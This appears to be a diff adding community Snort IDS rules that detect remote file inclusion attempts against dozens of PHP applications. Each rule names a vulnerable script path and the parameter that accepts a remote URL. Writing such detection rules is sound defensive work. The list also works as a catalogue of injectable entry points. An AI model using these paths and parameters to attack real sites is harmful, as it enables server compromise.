+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DoceboLMS credits.php remote file include"; flow:to_server,established; uricontent:"/modules/credits/credits.php"; nocase; uricontent:"lang="; nocase; pcre:"/lang=(https?|ftp)/Ui"; reference:bugtraq,18110; classtype:web-application-attack; sid:100000343; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC SocketMail index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"site_path="; nocase; pcre:"/site_path=(https?|ftp)/Ui"; reference:url,secunia.com/advisories/20273/; classtype:web-application-attack; sid:100000344; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC SocketMail inc-common.php remote file include"; flow:to_server,established; uricontent:"/inc-common.php"; nocase; uricontent:"site_path="; nocase; pcre:"/site_path=(https?|ftp)/Ui"; reference:url,secunia.com/advisories/20273/; classtype:web-application-attack; sid:100000345; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Plume CMS prepend.php remote file include"; flow:to_server,established; uricontent:"/manager/frontinc/prepend.php"; nocase; uricontent:"_PX_config[manager_path]="; nocase; pcre:"/_PX_config[manager_path]=(https?|ftp)/Ui"; reference:bugtraq,16662; classtype:web-application-attack; sid:100000346; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ezupload Pro form.php remote file include"; flow:to_server,established; uricontent:"/form.php"; nocase; uricontent:"path="; nocase; pcre:"/path=(https?|ftp)/Ui"; reference:bugtraq,18135; classtype:web-application-attack; sid:100000347; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ezupload Pro customize.php remote file include"; flow:to_server,established; uricontent:"/customize.php"; nocase; uricontent:"path="; nocase; pcre:"/path=(https?|ftp)/Ui"; reference:bugtraq,18135; classtype:web-application-attack; sid:100000348; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ezupload Pro initialize.php remote file include"; flow:to_server,established; uricontent:"/initialize.php"; nocase; uricontent:"path="; nocase; pcre:"/path=(https?|ftp)/Ui"; reference:bugtraq,18135; classtype:web-application-attack; sid:100000349; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC UBBThreads ubbt.inc.php remote file include"; flow:to_server,established; uricontent:"/ubbt.inc.php"; nocase; uricontent:"GLOBALS[thispath]="; nocase; pcre:"/GLOBALS[thispath]=(https?|ftp)/Ui"; reference:url,www.nukedx.com/?viewdoc=40; classtype:web-application-attack; sid:100000350; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC UBBThreads config[cookieprefix] remote file include"; flow:to_server,established; uricontent:"/includepollresults.php?config[cookieprefix]"; nocase; uricontent:"w3t_language="; nocase; pcre:"/w3t_language=(https?|ftp)/Ui"; reference:url,www.nukedx.com/?viewdoc=40; classtype:web-application-attack; sid:100000351; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Blend Portal blend_common.php remote file include"; flow:to_server,established; uricontent:"/blend_data/blend_common.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18153; reference:url,www.nukedx.com/?viewdoc=41; classtype:web-application-attack; sid:100000352; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC tinyBB footers.php remote file include"; flow:to_server,established; uricontent:"/footers.php"; nocase; uricontent:"tinybb_footers="; nocase; pcre:"/tinybb_footers=(https?|ftp)/Ui"; reference:bugtraq,18147; classtype:web-application-attack; sid:100000353; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpBB-Amod lang_activity.php remote file include"; flow:to_server,established; uricontent:"/lang_activity.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18155; classtype:web-application-attack; sid:100000354; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC eSyndiCat cron.php remote file include"; flow:to_server,established; uricontent:"/admin/cron.php"; nocase; uricontent:"path_to_config="; nocase; pcre:"/path_to_config=(https?|ftp)/Ui"; reference:url,secunia.com/advisories/20218/; classtype:web-application-attack; sid:100000355; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BASE base_qry_common.php remote file include"; flow:to_server,established; uricontent:"/base_qry_common.php"; nocase; uricontent:"BASE_path="; nocase; pcre:"/BASE_path=(https?|ftp)/Ui"; reference:url,secunia.com/advisories/20300/; classtype:web-application-attack; sid:100000356; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BASE base_stat_common.php remote file include"; flow:to_server,established; uricontent:"/base_stat_common.php"; nocase; uricontent:"BASE_path="; nocase; pcre:"/BASE_path=(https?|ftp)/Ui"; reference:url,secunia.com/advisories/20300/; classtype:web-application-attack; sid:100000357; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC BASE base_include.inc.php remote file include"; flow:to_server,established; uricontent:"/base_include.inc.php"; nocase; uricontent:"BASE_path="; nocase; pcre:"/BASE_path=(https?|ftp)/Ui"; reference:url,secunia.com/advisories/20300/; classtype:web-application-attack; sid:100000358; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Fastpublish CMS drucken.php remote file include"; flow:to_server,established; uricontent:"/drucken.php"; nocase; uricontent:"config[fsBase]="; nocase; pcre:"/config[fsBase]=(https?|ftp)/Ui"; reference:bugtraq,18163; classtype:web-application-attack; sid:100000359; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Fastpublish CMS drucken2.php remote file include"; flow:to_server,established; uricontent:"/drucken2.php"; nocase; uricontent:"config[fsBase]="; nocase; pcre:"/config[fsBase]=(https?|ftp)/Ui"; reference:bugtraq,18163; classtype:web-application-attack; sid:100000360; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Fastpublish CMS email_an_benutzer.php remote file include"; flow:to_server,established; uricontent:"/email_an_benutzer.php"; nocase; uricontent:"config[fsBase]="; nocase; pcre:"/config[fsBase]=(https?|ftp)/Ui"; reference:bugtraq,18163; classtype:web-application-attack; sid:100000361; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Fastpublish CMS rechnung.php remote file include"; flow:to_server,established; uricontent:"/rechnung.php"; nocase; uricontent:"config[fsBase]="; nocase; pcre:"/config[fsBase]=(https?|ftp)/Ui"; reference:bugtraq,18163; classtype:web-application-attack; sid:100000362; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Fastpublish CMS search.php remote file include"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"config[fsBase]="; nocase; pcre:"/config[fsBase]=(https?|ftp)/Ui"; reference:bugtraq,18163; classtype:web-application-attack; sid:100000363; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Fastpublish CMS admin.php remote file include"; flow:to_server,established; uricontent:"/admin.php"; nocase; uricontent:"config[fsBase]="; nocase; pcre:"/config[fsBase]=(https?|ftp)/Ui"; reference:bugtraq,18163; classtype:web-application-attack; sid:100000364; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke index.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/index.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000365; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_ug_auth.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_ug_auth.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000366; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_board.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_board.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000367; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_disallow.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_disallow.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000368; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_forumauth.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_forumauth.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000369; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_groups.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_groups.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000370; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_ranks.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_ranks.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000371; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_styles.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_styles.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000372; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_user_ban.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_user_ban.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000373; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_words.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_words.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000374; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_avatar.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_avatar.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000375; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_db_utilities.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_db_utilities.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000376; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_forum_prune.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_forum_prune.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000377; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_forums.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_forums.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000378; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_mass_email.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_mass_email.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000379; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_smilies.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_smilies.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000380; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpNuke admin_users.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_users.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000382; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC OsTicket open_form.php remote file include"; flow:to_server,established; uricontent:"/open_form.php"; nocase; uricontent:"include_path="; nocase; pcre:"/include_path=(https?|ftp)/Ui"; reference:bugtraq,18190; classtype:web-application-attack; sid:100000383; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ottoman index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"default_path="; nocase; pcre:"/default_path=(https?|ftp)/Ui"; reference:bugtraq,18208; classtype:web-application-attack; sid:100000384; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ottoman error.php remote file include"; flow:to_server,established; uricontent:"/error.php"; nocase; uricontent:"default_path="; nocase; pcre:"/default_path=(https?|ftp)/Ui"; reference:bugtraq,18208; classtype:web-application-attack; sid:100000385; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ottoman main_class.php remote file include"; flow:to_server,established; uricontent:"/classes/main_class.php"; nocase; uricontent:"default_path="; nocase; pcre:"/default_path=(https?|ftp)/Ui"; reference:bugtraq,18208; classtype:web-application-attack; sid:100000386; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia index.php remote file include"; flow:to_server,established; uricontent:"/orid/index.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000387; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia topman.php remote file include"; flow:to_server,established; uricontent:"/orid/topman.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000388; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia approb.php remote file include"; flow:to_server,established; uricontent:"/orid/approb.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000389; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia vacadmb.php remote file include"; flow:to_server,established; uricontent:"/orid/vacadmb.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000390; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia vacadma.php remote file include"; flow:to_server,established; uricontent:"/orid/vacadma.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000391; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia vacadm.php remote file include"; flow:to_server,established; uricontent:"/orid/vacadm.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000392; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia start.php remote file include"; flow:to_server,established; uricontent:"/orid/start.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000393; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia search.php remote file include"; flow:to_server,established; uricontent:"/orid/search.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000394; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia posts.php remote file include"; flow:to_server,established; uricontent:"/orid/posts.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000395; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia options.php remote file include"; flow:to_server,established; uricontent:"/orid/options.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000396; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia login.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/login.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000397; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia frchart.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/frchart.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000398; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia flbchart.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/flbchart.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000399; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia fileman.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/fileman.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000400; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia faq.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/faq.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000401; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia event.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/event.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000402; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia directory.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/directory.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000403; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia articles.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/articles.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000404; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia artedit.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/artedit.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000405; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia approb.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/approb.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000406; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ovidentia calday.php remote file include"; flow:to_server,established; uricontent:"/ovidentia/calday.php"; nocase; uricontent:"babInstallPath="; nocase; pcre:"/babInstallPath=(https?|ftp)/Ui"; reference:bugtraq,18232; classtype:web-application-attack; sid:100000407; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC AssoCIateD cache_mngt.php remote file include"; flow:to_server,established; uricontent:"/cache_mngt.php"; nocase; uricontent:"root_path="; nocase; pcre:"/root_path=(https?|ftp)/Ui"; reference:bugtraq,18220; classtype:web-application-attack; sid:100000408; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC AssoCIateD gallery_functions.php remote file include"; flow:to_server,established; uricontent:"/gallery_functions.php"; nocase; uricontent:"root_path="; nocase; pcre:"/root_path=(https?|ftp)/Ui"; reference:bugtraq,18220; classtype:web-application-attack; sid:100000409; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC REDAXO index.inc.php remote file include"; flow:to_server,established; uricontent:"/include/addons/image_resize/pages/index.inc.php"; nocase; uricontent:"REX[INCLUDE_PATH]="; nocase; pcre:"/REX[INCLUDE_PATH]=(https?|ftp)/Ui"; reference:bugtraq,18229; classtype:web-application-attack; sid:100000410; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC REDAXO index.inc.php remote file include"; flow:to_server,established; uricontent:"/include/addons/simple_user/pages/index.inc.php"; nocase; uricontent:"REX[INCLUDE_PATH]="; nocase; pcre:"/REX[INCLUDE_PATH]=(https?|ftp)/Ui"; reference:bugtraq,18229; classtype:web-application-attack; sid:100000411; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC REDAXO index.inc.php remote file include"; flow:to_server,established; uricontent:"/include/addons/stats/pages/index.inc.php"; nocase; uricontent:"REX[INCLUDE_PATH]="; nocase; pcre:"/REX[INCLUDE_PATH]=(https?|ftp)/Ui"; reference:bugtraq,18229; classtype:web-application-attack; sid:100000412; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC REDAXO index.inc.php remote file include"; flow:to_server,established; uricontent:"/include/addons/import_export/pages/index.inc.php"; nocase; uricontent:"REX[INCLUDE_PATH]="; nocase; pcre:"/REX[INCLUDE_PATH]=(https?|ftp)/Ui"; reference:bugtraq,18229; classtype:web-application-attack; sid:100000413; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC REDAXO community.inc.php remote file include"; flow:to_server,established; uricontent:"/include/pages/community.inc.php"; nocase; uricontent:"REX[INCLUDE_PATH]="; nocase; pcre:"/REX[INCLUDE_PATH]=(https?|ftp)/Ui"; reference:bugtraq,18229; classtype:web-application-attack; sid:100000414; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Bytehoard server.php remote file include"; flow:to_server,established; uricontent:"/includes/webdav/server.php"; nocase; uricontent:"bhconfig[bhfilepath]="; nocase; pcre:"/bhconfig[bhfilepath]=(https?|ftp)/Ui"; reference:bugtraq,18234; classtype:web-application-attack; sid:100000415; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC MyBloggie admin.php remote file include"; flow:to_server,established; uricontent:"/admin.php"; nocase; uricontent:"mybloggie_root_path="; nocase; pcre:"/mybloggie_root_path=(https?|ftp)/Ui"; reference:bugtraq,18241; classtype:web-application-attack; sid:100000416; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC MyBloggie scode.php remote file include"; flow:to_server,established; uricontent:"/scode.php"; nocase; uricontent:"mybloggie_root_path="; nocase; pcre:"/mybloggie_root_path=(https?|ftp)/Ui"; reference:bugtraq,18241; classtype:web-application-attack; sid:100000417; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ashwebstudio Ashnews ashheadlines.php remote file include"; flow:to_server,established; uricontent:"/ashheadlines.php"; nocase; uricontent:"pathtoashnews="; nocase; pcre:"/pathtoashnews=(https?|ftp)/Ui"; reference:bugtraq,18248; classtype:web-application-attack; sid:100000418; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Ashwebstudio Ashnews ashnews.php remote file include"; flow:to_server,established; uricontent:"/ashnews.php"; nocase; uricontent:"pathtoashnews="; nocase; pcre:"/pathtoashnews=(https?|ftp)/Ui"; reference:bugtraq,18248; classtype:web-application-attack; sid:100000419; rev:2;)
